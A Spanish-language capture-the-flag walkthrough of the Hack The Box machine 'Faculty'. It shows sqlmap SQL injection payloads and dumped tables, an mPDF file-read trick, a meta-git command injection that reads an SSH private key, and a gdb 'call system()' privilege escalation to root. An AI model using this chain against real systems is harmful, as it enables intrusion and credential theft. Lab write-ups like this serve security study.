La creación de PDFs a partir de etiquetas HTML de mPDF nos permitió obtener credenciales de una base de datos, los cuales nos dieron acceso a un primer usuario por SSH. Tras realizar Command Injection logramos obtener acceso a un segundo usuario. Finalmente escalamos privilegios a traves de GDB.
Tras visitar la dirección admin/ observamos un “dashboard”, se muestra que ingresamos como Smith, seguramente está tomando la cookie del “login” anterior.
SQLi
Como sabemos es posible realizar bypass al login, por lo que podríamos utilizar sqlmap para realizar una enumeración y explotación. Observamos la base de datos scheduling_db.
π ~/htb/faculty ❯ sqlmap -u "http://faculty.htb/admin/ajax.php?action=login_faculty" --data "id_no=1234567" --method POST -p id_no --batch --dbs --risk 3 level 5 ___
__H__
___ ___[,]_____ ___ ___ {1.6.4#stable}|_ -| . [,]| .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[.. snip ..]
[18:07:28] [INFO] target URL appears to have 10 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:07:35] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[18:07:37] [INFO] target URL appears to be UNION injectable with 10 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:07:43] [INFO] checking if the injection point on POST parameter 'id_no' is a false positive
POST parameter 'id_no' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 238 HTTP(s) requests:
---
Parameter: id_no (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id_no=1234567' AND (SELECT 9190 FROM (SELECT(SLEEP(5)))gAAt) AND 'rpgO'='rpgO
---
[18:07:59][INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0, PHP
back-end DBMS: MySQL >= 5.0.12
[18:07:59][INFO] fetching database names
[18:07:59][INFO] fetching number of databases
[18:07:59][INFO] resumed: 2[18:07:59][INFO] resumed: information_schema
[18:07:59][INFO] resumed: scheduling_db
available databases [2]:
[*] information_schema
[*] scheduling_db
Logramos obtener la información de la base de datos, encontramos las credenciales del administrador, además los “codigos” de ingreso de tres diferentes usuarios e información de cursos y temas.
Database: scheduling_db
Table: faculty
[3 entries]+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
| id | id_no | email | gender | address | contact | lastname | firstname | middlename |+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
|1|63033226| jsmith@faculty.htb | Male |151 Blue Lakes Blvd |(646) 559-9192 | Smith | John | C ||2|85662050| cblake@faculty.htb | Female |225 Main St |(763) 450-0121 | Blake | Claire | G ||3|30903070| ejames@faculty.htb | Male |142 W Houston St |(702) 368-3689 | James | Eric | P |+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
Database: scheduling_db
Table: users
[1 entry]+----+---------------+------+----------------------------------+----------+
| id | name |type| password | username |+----+---------------+------+----------------------------------+----------+
|1| Administrator |1| 1fecbe762af147c1176a0fc2c722a345 | admin |+----+---------------+------+----------------------------------+----------+
Database: scheduling_db
Table: class_schedule_info
[0 entries]+----+-----------+-------------+---------+
| id | course_id | schedule_id | subject |+----+-----------+-------------+---------+
+----+-----------+-------------+---------+
Database: scheduling_db
Table: subjects
[5 entries]+----+-----------------------------------------------------------------------------------------------------------------------------------+----------------------------+
| id | subject | description |+----+-----------------------------------------------------------------------------------------------------------------------------------+----------------------------+
|1| DBMS | Database Management System ||2| Mathematics | Mathematics ||3| English | English ||4| Computer Hardware | Computer Hardware ||5| History | History |+----+-----------------------------------------------------------------------------------------------------------------------------------+----------------------------+
Database: scheduling_db
Table: courses
[4 entries]+----+------------------------+---------------------------------------------+
| id | course | description |+----+------------------------+---------------------------------------------+
|1| Information Technology | IT ||4| BSCS | Bachelor of Science in Computer Science ||5| BSIS | Bachelor of Science in Information Systems ||6| BSED | Bachelor in Secondary Education |+----+------------------------+---------------------------------------------+
Database: scheduling_db
Table: schedules
[1 entry]+----+------------+--------------------+----------+----------+-----------+-------------+---------------------+--------------+---------------+---------------+-------------------------------------------------------+
| id | faculty_id | title | time_to | location | time_from | description | date_created | is_repeating | schedule_date | schedule_type | repeating_data |+----+------------+--------------------+----------+----------+-----------+-------------+---------------------+--------------+---------------+---------------+-------------------------------------------------------+
|3|2| Class 101(M & Th)| 12:00:00 | Online | 09:00:00 | Sample Only | 2020-10-20 15:51:01 |1| 0000-00-00 |1|{"dow":"1,4","start":"2020-10-01","end":"2020-11-30"}|+----+------------+--------------------+----------+----------+-----------+-------------+---------------------+--------------+---------------+---------------+-------------------------------------------------------+
El usuario de la base de datos unicamente tiene el privilegio USAGE por lo que no podemos hacer nada por aquí.
1
2
3
database management system users privileges:
[*] %sched% [1]:
privilege: USAGE
User - Gbyolo
HTML to PDF
Encontramos que el sitio web puede exportar archivos PDF con la información de los cursos, temas, etc. del sitio web.
Si observamos la solicitud realizada por el sitio, vemos que envia contenido codificado a download.php.
El contenido tiene codificación doble en URL y codificaciín en base64. Se muestra contenido HTML.
Enviamos un tag h1 codificado de la misma forma, logramos generar un pdf con su contenido.
Si observamos la url se muestra el texto “mpdf”, tras ejecutar feroxbuster en este directorio podríamos decir que se trata de la libreria mPDF, si observamos los ejemplos se muestra contenido html para generar un PDF.
Encontramos algunos CVE (CVE-2019-1000005, CVE-2018-19047) relacionados a esta librería, unicamente logramos reproducir el SSRF utilizando el tag <script> entre otros, sin embargo no obtuvimos información de archivos o servicios locales.
Investigando sobre esta librería y posibles vulnerabilidades encontramos un post sobre Local file inclusion at IKEA.com donde presenta una explotación LFI utilizando una etiqueta de anotación de mPDF para la lectura de archivos locales.
Tras enviar la anotación observamos que el pdf tiene un documento adjunto, al abrirlo se muestra el contenido del archivo /etc/passwd. Encontramos dos usuarios: gbyolo y developer.
Realizando la lectura de distintos archivos php encontramos las credenciales de la conexión de base de datos.
1
2
3
4
// db_connect.php
<?php$conn=newmysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')ordie("Could not connect to mysql".mysqli_error($con));
Shell
Utilizando una de las contraseñas y usuarios logramos ingresar por SSH.
π ~/htb/faculty ❯ ssh gbyolo@10.10.11.169 # Co.met06aci.dly53ro.pergbyolo@10.10.11.169's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jul 20 01:36:44 CEST 2022 System load: 0.01 Processes: 226 Usage of /: 76.4% of 4.67GB Users logged in: 1 Memory usage: 52% IPv4 address for eth0: 10.10.11.169
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Wed Jul 20 00:00:12 2022 from 10.10.14.58
gbyolo@faculty:~$ whoami;id;pwdgbyolo
uid=1000(gbyolo)gid=1000(gbyolo)groups=1000(gbyolo)/home/gbyolo
gbyolo@faculty:~$
User - Developer
Al ingresar se muestra un mensaje de un correo, al revisar los correos, vemos que developer menciona que podemos administrar repositorios git.
gbyolo@faculty:~$ cat /var/mail/gbyolo
From developer@faculty.htb Tue Nov 10 15:03:02 2020Return-Path: <developer@faculty.htb>
X-Original-To: gbyolo@faculty.htb
Delivered-To: gbyolo@faculty.htb
Received: by faculty.htb (Postfix, from userid 1001) id 0399E26125A; Tue, 10 Nov 2020 15:03:02 +0100 (CET)Subject: Faculty group
To: <gbyolo@faculty.htb>
X-Mailer: mail (GNU Mailutils 3.7)Message-Id: <20201110140302.0399E26125A@faculty.htb>
Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)From: developer@faculty.htb
X-IMAPbase: 16050169952Status: O
X-UID: 1Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb
gbyolo@faculty:~$
Command Injection
Observamos que el usario gbyolo puede ejecutar meta-git como developer, seguramente a este comando se refería el correo.
1
2
3
4
5
6
7
8
9
10
11
12
gbyolo@faculty:~$ sudo -l -l
[sudo] password for gbyolo:
Matching Defaults entries for gbyolo on faculty:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gbyolo may run the following commands on faculty:
Sudoers entry:
RunAsUsers: developer
Commands:
/usr/local/bin/meta-git
gbyolo@faculty:~$
Un post de hackerone muestra que es posible inyectar comandos.
1
meta-git clone 'sss||touch HACKED'
Vemos que al reproducir la explotación se crea un archivo que pertenece a developer, por lo que podemos ejecutar comandos con este usuario.
1
2
3
4
5
6
7
8
gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'sss||touch file_x' 2>/dev/null
meta git cloning into 'sss||touch file_x' at sss||touch file_x
sss||touch file_x:
sss||touch file_x ✓
gbyolo@faculty:/tmp$ ls -lah file_x
-rw-rw-r-- 1 developer developer 0 Jul 20 01:44 file_x
gbyolo@faculty:/tmp$
Realizamos la lectura de la clave privada de developer, para luego ingresar por ssh utilizando esta.
gbyolo@faculty:/dev/shm$ sudo -u developer meta-git clone 'sss||cat /home/developer/.ssh/id_rsa' 2>/dev/null
meta git cloning into 'sss||cat /home/developer/.ssh/id_rsa' at id_rsa
id_rsa:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[.. snip ..]9u1fIdwzi56TWNhQAAABFkZXZlbG9wZXJAZmFjdWx0eQ==-----END OPENSSH PRIVATE KEY-----
gbyolo@faculty:/dev/shm$ nano id_rsa
gbyolo@faculty:/dev/shm$ chmod 600 id_rsa
gbyolo@faculty:/dev/shm$ ssh -i id_rsa developer@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:EzyBEKh/AuG97K3+To2ltCrl4wjUY9qrlnj8nNuvW8U.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost'(ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jul 20 01:45:49 CEST 2022 System load: 0.0 Processes: 231 Usage of /: 74.9% of 4.67GB Users logged in: 1 Memory usage: 34% IPv4 address for eth0: 10.10.11.169
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
developer@faculty:~$ whoami;id;pwddeveloper
uid=1001(developer)gid=1002(developer)groups=1002(developer),1001(debug),1003(faculty)/home/developer
developer@faculty:~$
Logrando tambien obtener nuestra flag user.txt.
1
2
3
4
5
developer@faculty:~$ ls
sendmail.sh user.txt
developer@faculty:~$ cat user.txt
6c505d51049f9fb545788a5031e4e8c9
developer@faculty:~$
Privesc
Realizamos una enumeración de las capabilities en la máquina y observamos a gdb.
Hacktricks menciona un ejemplo: Example with environment (Docker breakout) - Gdb Abuse, utilizando gdb para ejecutar comandos utilizando el comando call en un proceso adjunto. La documentación indica que call permite evaluar funciones las cuales estan presentes en el programa que está siendo debugeado, en el ejemplo utiliza la funcion system() para ejecutar comandos, para ello dicha funcion debe de existir en el programa en ejecución.
Listamos los procesos con ps, observamos todos aquellos que son ejecutados por root.
developer@faculty:~/.ssh$ ls
authorized_keys id_rsa id_rsa.pub known_hosts
developer@faculty:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEMCCsdwPYjhTfb3/+x1qmfidxXNFhnEAIL9zPGZI7lSzZLzt3HLCLNnSEOzMfKT5sIHkHXC+u2YAW7Yo3hoYKgAkw0aZWhwGciRJzMan/MHLSlUrofuDoYwBVKmuJtf8Ot0cJyawi7taqTJnSYM3axL7e4yTojffrXHbO0AbVoL3ElfsQmweZcNEtnwbVGJsqkjRaoBY1JccMO9zAOmZYOT42UhEqSkZxUHLOEbzHVrO8pZL0bfrN4ssBEE/jdrHh4BWuwB37uKDe+X0i/5m1HOQfQ+wyGuIiUcE1TL10UAY/lprhlSRgeLX8yUGexY6CJEcyBwnNxZc4Z4glu1x2nZoE6NmUYn4bq4tavHCVf1qczeA9dNPgMaplXVCn/f4lkXX38pcnV2vSLfbyOxoyXMOKMXltmOkA5wvFLRXzi331H/ttFst0XEwT/THJvpAwpwwOcusNSZ2GI5tE5kWXe/mGexb0KgUuIoT/iNYo/qU9T7fUY5Okq0tdgwNtx6k= developer@faculty
developer@faculty:~/.ssh$ pwd/home/developer/.ssh
developer@faculty:~/.ssh$ gdb -p 690 -q
Attaching to process 690Reading symbols from /usr/bin/python3.8...
[.. snip ..]29 ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
(gdb) call system("cat /home/developer/.ssh/id_rsa.pub > /root/.ssh/authorized_keys")[Detaching after vfork from child process 7458]$1=0(gdb) q
A debugging session is active.
Inferior 1[process 690] will be detached.
Quit anyway? (y or n) y
Detaching from program: /usr/bin/python3.8, process 690[Inferior 1(process 690) detached]developer@faculty:~/.ssh$
Logramos ingresamos como root por SSH en localhost y obtener nuestra flag root.txt.
developer@faculty:~/.ssh$ ssh root@localhost
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jul 20 04:24:24 CEST 2022 System load: 0.0 Processes: 238 Usage of /: 74.9% of 4.67GB Users logged in: 2 Memory usage: 46% IPv4 address for eth0: 10.10.11.169
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
root@faculty:~# whoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/root
root@faculty:~# ls
check_cron.sh root.txt service_check.sh
root@faculty:~# cat root.txt
0bcbf940d39d911f5f5eab105fb57894
root@faculty:~#
